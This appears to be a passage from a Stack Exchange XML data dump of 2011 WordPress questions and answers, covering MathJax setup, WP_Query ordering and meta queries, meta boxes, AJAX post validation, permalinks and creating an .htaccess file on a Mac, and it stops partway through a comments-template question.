  <row Id="15607" PostTypeId="1" AcceptedAnswerId="15636" CreationDate="2011-04-26T06:16:10.850" Score="1" ViewCount="77" Body="&lt;p&gt;I am a new user with WordPress, and I would like to use mathematical formulas.  I have been reading the mathjax pages for hours, such as &lt;a href=&quot;http://wordpress.org/extend/plugins/mathjax-latex/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; and quite a few others.  This may be a bad question, but can someone please help me?  All I want to do is enable Latex, and I am hopelessly lost.  My most recent attempts have been trying to find the &quot;header file&quot; so that I can copy and paste in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&#xA;    src=&quot;http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML&quot;&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried looking for it, and looked over a whole bunch of forum posts about where to find this header file, but I just do not understand.  A step by step explanation of how to make mathjax work in the simplest way possible would be extremely appreciated!! (Also, don't worry about leaving in too many steps!) &lt;/p&gt;&#xA;" OwnerUserId="4891" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-26T14:11:06.067" LastActivityDate="2011-04-26T14:24:49.393" Title="Math notation on WordPress.com?" Tags="&lt;wordpress.com&gt;&lt;headers&gt;&lt;latex&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="15608" PostTypeId="1" CreationDate="2011-04-26T06:29:22.287" Score="1" ViewCount="144" Body="&lt;p&gt;I've tried a bunch of AdSense plugins but I can't seem to make any work.  Can someone recommend something that is known to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My requirements are simple: display an ad under the header.&lt;/p&gt;&#xA;" OwnerUserId="4838" LastActivityDate="2011-04-26T16:04:24.853" Title="A reliable AdSense plugin. Does it exist?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;adsense&gt;" AnswerCount="2" />
  <row Id="15610" PostTypeId="2" ParentId="14421" CreationDate="2011-04-26T06:49:10.993" Score="1" ViewCount="" Body="&lt;p&gt;It looks like your trying to hide certain menu items for certain users, you can do this by making use &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;Roles and Capabilities&lt;/a&gt; instead of hard coding usernames and removing menu items. The &lt;a href=&quot;http://wordpress.org/extend/plugins/capsman/&quot; rel=&quot;nofollow&quot;&gt;Capsman&lt;/a&gt; plugin allows you to flexible set permissions for admin, editor roles and even define new ones. If a user does not have permissions to see the Settings page, then the admin links will be removed by WordPress.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-04-26T06:49:10.993" CommentCount="1" />
  <row Id="15612" PostTypeId="2" ParentId="15607" CreationDate="2011-04-26T06:53:19.550" Score="1" ViewCount="" Body="&lt;p&gt;It can be very confusing to users when plugins ask users to upload files and insert lines of code.  The plugin linked to in the question does contain an option to automatically load the MathJax without the need to insert anything into the header.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;1. Go to the plugin options page by going to Settings --&gt; MathJax-Latex Plugin in your WordPress admin panel.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/LLa4D.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2. Check the box that says Use MathJax CDN Service.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/GoWo8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;3. Choose any of the other options available.  (I'm not familiar with how Latex works so I can't help with any of those).&lt;/h3&gt;&#xA;&#xA;&lt;h3&gt;4. Click save changes and your ready to start using Latex.&lt;/h3&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-26T06:53:19.550" CommentCount="3" />
  <row Id="15615" PostTypeId="1" AcceptedAnswerId="19361" CreationDate="2011-04-26T08:11:50.263" Score="0" ViewCount="45" Body="&lt;p&gt;I am looking for a plugin that will embed my amazon affiliate id in outbound amazon links on my blog.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a couple of top plugins (e.g. sorted by popularity) and most are a huge overkill (e.g. providing image popups, search lists, products lists, price integration, etc...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone recommend a plugin that does what I am looking for?&lt;/p&gt;&#xA;" OwnerUserId="4838" LastActivityDate="2011-06-06T20:24:38.193" Title="Simple Amazon Affiliate Plugin" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="15616" PostTypeId="2" ParentId="15559" CreationDate="2011-04-26T08:20:55.160" Score="1" ViewCount="" Body="&lt;p&gt;WordPress has an hook for save meta data an attachment; an small example; like the post_data on save posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Construct the attachment array&#xA;    $attachment = array_merge( array(&#xA;        'post_mime_type' =&amp;gt; $type,&#xA;        'guid' =&amp;gt; $url,&#xA;        'post_parent' =&amp;gt; $post_id,&#xA;        'post_title' =&amp;gt; $title,&#xA;        'post_content' =&amp;gt; $content,&#xA;    ), $post_data );&#xA;&#xA;    // Save the data&#xA;    $id = wp_insert_attachment($attachment, $file, $post_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See more on the code of media.php, function &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-admin/includes/media.php#L191&quot; rel=&quot;nofollow&quot;&gt;media_handle_upload&lt;/a&gt;&#xA;For Update the data use the hook &lt;code&gt;wp_update_attachment_metadata()&lt;/code&gt;, &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/post.php#L3800&quot; rel=&quot;nofollow&quot;&gt;see source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can add fields and data on attachment, maybe &lt;a href=&quot;http://wpengineer.com/2076/add-custom-field-attachment-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; helps you.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-04-26T08:20:55.160" CommentCount="3" />
  <row Id="15617" PostTypeId="2" ParentId="10402" CreationDate="2011-04-26T08:45:28.080" Score="1" ViewCount="" Body="&lt;p&gt;This is a common design pattern, and I would have solved it in the same way you did. Let &lt;code&gt;My_WP_List_Class&lt;/code&gt; extend &lt;code&gt;WP_List_Class&lt;/code&gt;, and pass a &quot;configuration&quot; object to it. You could even make the relation more explicit by defining an interface your configuration object must adhere to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;interface My_WP_List_Configuration&#xA;{&#xA;    public function get_name();&#xA;    public function get_admin_page_uri();&#xA;    // ...&#xA;}&#xA;&#xA;class WPSE10402_Plugin extends Wyrfel_Plugin implements My_WP_List_Configuration&#xA;{&#xA;    public function get_name()&#xA;    {&#xA;        return $this-&amp;gt;_name;&#xA;    }&#xA;&#xA;    public function get_admin_page_uri()&#xA;    {&#xA;         // ...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see much difference with the current way of using actions to hook your functionality into. Yes, your code is now structured in a class instead of in a list of functions, but that is the only difference, no?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-26T08:45:28.080" />
  <row Id="15618" PostTypeId="1" AcceptedAnswerId="15629" CreationDate="2011-04-26T09:16:25.867" Score="0" ViewCount="624" Body="&lt;p&gt;I have a taxonomy wp_query and i would like to order the list by &lt;strong&gt;title and&lt;/strong&gt; by &lt;strong&gt;meta&lt;/strong&gt; value (numeric value)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have a meta value Interesting = 1 or 0 in the posts&lt;/li&gt;&#xA;&lt;li&gt;Not so interesting posts would be at the bottom of the query&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GOAL - OUTPUT LIKE THIS:&lt;/strong&gt; (is this possible with WP_QUERY and WP3.1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A&lt;/strong&gt; ( META KEY interesting = &lt;strong&gt;1&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B&lt;/strong&gt; ( META KEY interesting = &lt;strong&gt;1&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C&lt;/strong&gt; ( META KEY interesting = &lt;strong&gt;1&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A&lt;/strong&gt; ( META KEY interesting = &lt;strong&gt;0&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B&lt;/strong&gt; ( META KEY interesting = &lt;strong&gt;0&lt;/strong&gt;)&lt;/p&gt;&#xA;" OwnerUserId="4190" LastActivityDate="2011-04-26T12:42:39.937" Title="wp_query orderby title and meta key value (WP3.1)" Tags="&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;query&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="15619" PostTypeId="2" ParentId="14804" CreationDate="2011-04-26T09:36:42.623" Score="1" ViewCount="" Body="&lt;p&gt;I would abstract the specific SOAP library away, so you can add support for more clients later. Similar to how &lt;code&gt;WP_Http&lt;/code&gt; is a proxy for multiple HTTP implementations, and chooses depending on the server capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must have played with some of these libraries before but I don't remember which one. In general I prefer included PHP modules over external code, because they are more likely to be kept up-to-date and don't require extra overhead (sometimes you need to bootstrap a framework to use one part of it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be a good idea to create an answer for each library so we can add pros and cons to them. Or is this more generic question a better fit for the &quot;real&quot; Stack Overflow?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-26T09:36:42.623" CommunityOwnedDate="2011-04-26T09:36:42.623" CommentCount="2" />
  <row Id="15621" PostTypeId="2" ParentId="15618" CreationDate="2011-04-26T10:48:07.977" Score="1" ViewCount="" Body="&lt;p&gt;you can't mix ascending and descending order, but if you switch the zeroes and ones then this might work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query( array( 'meta_key =&amp;gt; 'interesting',&#xA;                              'orderby' =&amp;gt; 'meta_value_num title',&#xA;                              'order' =&amp;gt; 'ASC' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="221" LastActivityDate="2011-04-26T10:48:07.977" />
  <row Id="15622" PostTypeId="1" AcceptedAnswerId="15623" CreationDate="2011-04-26T10:50:39.333" Score="0" ViewCount="253" Body="&lt;p&gt;I'm using a custom field query (or trying to) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args =  array(&#xA;    'post_type'     =&amp;gt; 'pf_cookbook', &#xA;    'meta_query'    =&amp;gt; array(&#xA;        'key'           =&amp;gt; 'pf_cookbook_recipes',&#xA;        'value'         =&amp;gt; '5',&#xA;        'compare'       =&amp;gt; 'NOT IN',&#xA;        'type'          =&amp;gt; 'NUMERIC'&#xA;    ) &#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the meta value to be compared is an array. The idea here is I am querying the DB to get the cookbooks which don't contain a certain recipe. The Recipes &amp;amp; Cookbooks are Custom Post Types. The Cookbooks have a meta key 'pf_cookbook_recipes' which I am storing an array of recipe IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I am missing something?&lt;/p&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-04-26T10:54:49.327" Title="Custom Field Query - Meta Value is Array" Tags="&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="15623" PostTypeId="2" ParentId="15622" CreationDate="2011-04-26T10:54:49.327" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;meta_query&lt;/code&gt; needs to be an array of arrays - have a look at the code sample in the Codex again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args =  array(&#xA;   'post_type'   =&amp;gt; 'pf_cookbook', &#xA;   'meta_query'  =&amp;gt; array(&#xA;                       array(&#xA;                        'key'           =&amp;gt; 'pf_cookbook_recipes',&#xA;                        'value'         =&amp;gt; '5',&#xA;                        'compare'       =&amp;gt; 'NOT IN',&#xA;                        'type'          =&amp;gt; 'NUMERIC'&#xA;                        )&#xA;                    )&#xA;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;);&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-26T10:54:49.327" CommentCount="1" />
  <row Id="15624" PostTypeId="2" ParentId="15608" CreationDate="2011-04-26T11:11:19.713" Score="2" ViewCount="" Body="&lt;p&gt;If your requirements end at &quot;display an ad under the header&quot; then just open up your theme's header.php file and paste your adsense code there directly and avoid using a plugin all together.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-26T11:11:19.713" />
  <row Id="15625" PostTypeId="1" AcceptedAnswerId="15626" CreationDate="2011-04-26T11:34:56.253" Score="0" ViewCount="99" Body="&lt;p&gt;Hey,&#xA;I'm stuck trying to add a box with settings for all pages (the ones users create/edit).&#xA;What I'm attempting to do is add 6, 7 check boxes and an input field for all pages that alters the rendering of it; for example: &lt;em&gt;&quot;Display a contact form at the bottom yes/no?&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you do this without, of course, editing any Wordpress core files?&lt;/p&gt;&#xA;" OwnerUserId="4922" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-26T12:12:49.077" LastActivityDate="2011-04-26T12:12:49.077" Title="Add box with custom per-page properties" Tags="&lt;metabox&gt;&lt;post-meta&gt;&lt;add-meta-box&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="15626" PostTypeId="2" ParentId="15625" CreationDate="2011-04-26T12:11:28.110" Score="2" ViewCount="" Body="&lt;p&gt;In WordPress these boxes are called &quot;meta box&quot; and to add one to your new/edit page screen you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box()&lt;/a&gt; function (look at the example at the bottom for the examples), you can also use &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this class&lt;/strong&gt;&lt;/a&gt; which is nicely documented and does most of the job for you. Or you can use a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;Verve Meta Boxes&lt;/a&gt; which does all of the job for you and you just add the options you want form its UI.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-26T12:11:28.110" />
  <row Id="15627" PostTypeId="2" ParentId="15546" CreationDate="2011-04-26T12:20:59.977" Score="3" ViewCount="" Body="&lt;p&gt;You can stop the post from saving all together with minor JQuery hacks and validate the fields  before saving on the client side or server side with ajax:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first we add our JavaScript to capture the submit/publish event and use it to submit our own ajax function before the actual submit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_action('wp_print_scripts','my_publish_admin_hook');&#xA;&#xA;function my_publish_admin_hook(){&#xA;if (is_admin()){&#xA;        ?&amp;gt;&#xA;        &amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;            jQuery(document).ready(function() {&#xA;                jQuery('#post').submit(function() {&#xA;&#xA;                    var form_data = jQuery('#post').serializeArray();&#xA;                    form_data = jQuery.param(form_data);&#xA;                    var data = {&#xA;                        action: 'my_pre_submit_validation',&#xA;                        security: '&amp;lt;?php echo wp_create_nonce( 'pre_publish_validation' ); ?&amp;gt;',&#xA;                        form_data: form_data&#xA;                    };&#xA;                    jQuery.post(ajaxurl, data, function(response) {&#xA;                        if (response.indexOf('True') &amp;gt; -1 || response.indexOf('true') &amp;gt; -1 || response = true ||  response) {&#xA;                            jQuery('#ajax-loading').hide();&#xA;                            jQuery('#publish').removeClass('button-primary-disabled');&#xA;                            return true;&#xA;                        }else{&#xA;                            alert(&quot;please correct the following errors: &quot; + response);&#xA;                            jQuery('#ajax-loading').hide();&#xA;                            jQuery('#publish').removeClass('button-primary-disabled');&#xA;                            return false;&#xA;                        }&#xA;                    });&#xA;                    return false;&#xA;                });&#xA;            });&#xA;        &amp;lt;/script&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then we create the function to do the actual validation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_my_pre_submit_validation', 'pre_submit_validation');&#xA;function pre_submit_validation(){&#xA;    //simple Security check&#xA;    check_ajax_referer( 'pre_publish_validation', 'security' );&#xA;&#xA;    //do your validation here&#xA;    //all of the form fields are in $_POST['form_data'] array&#xA;    //and return true to submit: echo 'true'; die();&#xA;    //or your error message: echo 'bal bla bla'; die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can always change it up a bit to do the validation only for your post type by adding a conditional check to &lt;code&gt;my_publish_admin_hook&lt;/code&gt; function for your post type and to validate on the client side but i prefer on the server side.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-26T12:20:59.977" />
  <row Id="15628" PostTypeId="1" AcceptedAnswerId="15630" CreationDate="2011-04-26T12:36:52.913" Score="1" ViewCount="128" Body="&lt;p&gt;I have a client (same for my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15512/wordpress-featured-post-slider&quot;&gt;previous post about the slider&lt;/a&gt;) who believes that the url structure needs to include a &quot;google page id&quot; to be compliant with google news. Therefore, they want the url structure set up like: &lt;a href=&quot;http://www.sitename.com/blog/article-name-goes-here?p=85532&quot; rel=&quot;nofollow&quot;&gt;http://www.sitename.com/blog/article-name-goes-here?p=85532&lt;/a&gt;  . I think they want just a unique 3+ number id associated with every post. Does anyone know how to go about this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am quite good with design and front-end dev, but when it comes to WordPress loops or settings sometimes I am just clueless.  &lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T22:13:43.523" LastActivityDate="2011-04-28T22:13:43.523" Title="WordPress Page Id" Tags="&lt;url-rewriting&gt;&lt;page&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="15629" PostTypeId="2" ParentId="15618" CreationDate="2011-04-26T12:42:39.937" Score="3" ViewCount="" Body="&lt;p&gt;You can filter the &lt;code&gt;orderby&lt;/code&gt; part of the query to get what you want (trying to pass it via the &lt;code&gt;orderby&lt;/code&gt; parameter will not work, it will be filtered out). This simple example adds the &lt;code&gt;meta_value&lt;/code&gt; sort order before the standard title sort order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_orderby', 'wpse15168_posts_orderby' );&#xA;$query = new WP_Query( array(&#xA;    'meta_key' =&amp;gt; 'interesting',&#xA;    'orderby' =&amp;gt; 'title',&#xA;    'order' =&amp;gt; 'ASC',&#xA;) );&#xA;remove_filter( 'posts_orderby', 'wpse15168_posts_orderby' );&#xA;&#xA;function wpse15168_posts_orderby( $orderby )&#xA;{&#xA;    global $wpdb;&#xA;    $orderby = $wpdb-&amp;gt;postmeta . '.meta_value DESC, ' . $orderby;&#xA;    return $orderby;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-26T12:42:39.937" CommentCount="3" />
  <row Id="15630" PostTypeId="2" ParentId="15628" CreationDate="2011-04-26T12:44:24.260" Score="3" ViewCount="" Body="&lt;p&gt;Go to the Permalink page (in Settings), and choose custom structure, and use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%year%/%monthnum%/%day%/%postname%/00%post_id%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-04-28T21:13:36.097" LastActivityDate="2011-04-28T21:13:36.097" CommentCount="6" />
  <row Id="15631" PostTypeId="2" ParentId="15264" CreationDate="2011-04-26T14:03:07.883" Score="0" ViewCount="" Body="&lt;p&gt;You can modify the Flash uploader to accept only one file via &lt;a href=&quot;http://demo.swfupload.org/Documentation/#button_action&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;BUTTON_ACTION&lt;/code&gt; setting&lt;/a&gt;. You can change this via the SWFUpload configuration (which is hardcoded in WordPress), or via &lt;a href=&quot;http://demo.swfupload.org/Documentation/#setButtonAction&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;setButtonAction()&lt;/code&gt; method&lt;/a&gt; of the generated SWFUpload object - but this only works after the Flash file has loaded. I managed to do this by hooking into the &lt;code&gt;swfupload_loaded_handler&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var wpse15264_original_onload = SWFUpload.onload;&#xA;SWFUpload.onload = function() {&#xA;    wpse15264_original_onload();&#xA;    swfu.addSetting( 'swfupload_loaded_handler', function() {&#xA;        this.setButtonAction( SWFUpload.BUTTON_ACTION.SELECT_FILE );&#xA;    } );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can output this after the SWFUpload code via &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/post-html-upload-ui&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;post-html-upload-ui&lt;/code&gt; hook&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code does not &lt;em&gt;add&lt;/em&gt; a handler to the &lt;code&gt;swfupload_loaded_handler&lt;/code&gt; event, it &lt;em&gt;replaces&lt;/em&gt; the current handler. This should be no problem because WordPress does not use this handler, but if it ever does in the future you should make sure to save the original handler and execute it too (like I did with the &lt;code&gt;onload&lt;/code&gt; handler).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this does not prevent people to use the uploader multiple times. See Bainternet's reference for a solution to that.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-26T14:03:07.883" />
  <row Id="15632" PostTypeId="1" AcceptedAnswerId="15634" CreationDate="2011-04-26T14:05:01.847" Score="1" ViewCount="296" Body="&lt;p&gt;I'm trying to set-up pretty permalinks for my site. WordPress has a warning that my htaccess files is not writable. It provided some code to copy and put in the htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on a Mac, my local machine running WordPress 3.1.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I coped the code WP provided and pasted it into a new new TextEdit file that I named 1.htaccess . I put the file in the root directory Sites/mysite/. Then I tried to re-name the file and remove the &quot;1&quot;, but my Mac gave a warning that files starting with &quot;.&quot; are system files and wouldn't let me re-name it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make an htaccess file on a Mac?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-04-26T15:40:42.750" Title="How can I make an htaccess file on a Mac?" Tags="&lt;htaccess&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="15633" PostTypeId="1" AcceptedAnswerId="15652" CreationDate="2011-04-26T14:07:13.483" Score="0" ViewCount="266" Body="&lt;p&gt;I'm using &lt;code&gt;[wp_login_form()][1]&lt;/code&gt; to display login form in a jQuery dialog window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If user enters wrong password, the user is taken to the backend. I don't want that. Is there a way to notify user that he entered wrong password and still remain on the same page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before &lt;code&gt;wp_login_form()&lt;/code&gt; came I was using a plugin. I'm kind of hoping I can avoid using a plugin for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_login_form(array(&#xA;  'label_remember' =&amp;gt; __( 'Remember me' ),&#xA;  'label_log_in' =&amp;gt; __( 'Login' )&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-04-26T15:53:25.133" Title="How can I redirect user after entering wrong passowrd?" Tags="&lt;login&gt;" AnswerCount="1" />
  <row Id="15634" PostTypeId="2" ParentId="15632" CreationDate="2011-04-26T14:14:20.810" Score="1" ViewCount="" Body="&lt;p&gt;Open up terminal. Found in Utilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /path/to/htaccess/file/&#xA;mv 1.htaccess .htaccess&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For future edits of the htaccess file I'd recommend learning to use vi in the terminal.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /path/to/htaccess/file/&#xA;vi .htaccess&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-26T14:14:20.810" CommentCount="1" />
  <row Id="15635" PostTypeId="1" AcceptedAnswerId="15638" CreationDate="2011-04-26T14:22:26.213" Score="0" ViewCount="59" Body="&lt;p&gt;Here is my comments block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;comments&quot;&amp;gt;&#xA;    &amp;lt;?php if (have_comments()) : ?&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;?php printf(_n('1 comment', '%1$s comments', get_comments_number()), number_format_i18n( get_comments_number() ), '' ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&quot;comment_list&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php $comments_by_type = &amp;amp;separate_comments($comments); ?&amp;gt;&#xA;            &amp;lt;?php if ( !empty($comments_by_type['comment']) ) : ?&amp;gt;&#xA;            &amp;lt;ol&amp;gt;&#xA;                &amp;lt;?php wp_list_comments(array('callback' =&amp;gt; 'commentslist', 'type' =&amp;gt; 'comment')); ?&amp;gt;&#xA;            &amp;lt;/ol&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ( ! empty($comments_by_type['pings']) ) : ?&amp;gt;&#xA;            &amp;lt;h3 id=&quot;pings&quot;&amp;gt;Pingbacks/Trackbacks&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ol class=&quot;pinglist&quot;&amp;gt;&#xA;            &amp;lt;?php wp_list_comments(array('callback' =&amp;gt; 'commentslist', 'type' =&amp;gt; 'pings')); ?&amp;gt;&#xA;            &amp;lt;/ol&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; // end have_comments() ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;code&gt;wp_list_comments&lt;/code&gt; callback:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function commentslist($comment, $args, $depth) {&#xA;    $GLOBALS['comment'] = $comment;&#xA;        require_once(ABSPATH . WPINC . '/registration.php');&#xA;        if ($comment-&amp;gt;user_id || email_exists($comment-&amp;gt;comment_author_email)){&#xA;            //comment by registered user&#xA;            $avatar = '/images/bird_comments_big.png';&#xA;            }else{&#xA;            //comment by none registered user&#xA;            $avatar = '/images/bird_comments_pink.png';&#xA;            }&#xA;        ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;div id=&quot;comment-&amp;lt;?php comment_ID(); ?&amp;gt;&quot; &amp;lt;?php comment_class(); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;table&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?php echo get_avatar($comment, 70, get_bloginfo('template_url').$avatar); ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;div class=&quot;comment-meta&quot;&amp;gt;&#xA;                            &amp;lt;?php printf(__('&amp;lt;p class=&quot;comment-author&quot;&amp;gt;&amp;lt;span&amp;gt;%s&amp;lt;/span&amp;gt; says:&amp;lt;/p&amp;gt;'), get_comment_author_link()) ?&amp;gt;&#xA;                            &amp;lt;?php printf(__('&amp;lt;p class=&quot;comment-date&quot;&amp;gt;%s&amp;lt;/p&amp;gt;'), get_comment_date('M j, Y')) ?&amp;gt;&#xA;                            &amp;lt;?php comment_reply_link(array_merge($args, array('depth' =&amp;gt; $depth, 'max_depth' =&amp;gt; $args['max_depth']))) ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;div class=&quot;comment-text&quot;&amp;gt;&#xA;                            &amp;lt;?php if ($comment-&amp;gt;comment_approved == '0') : 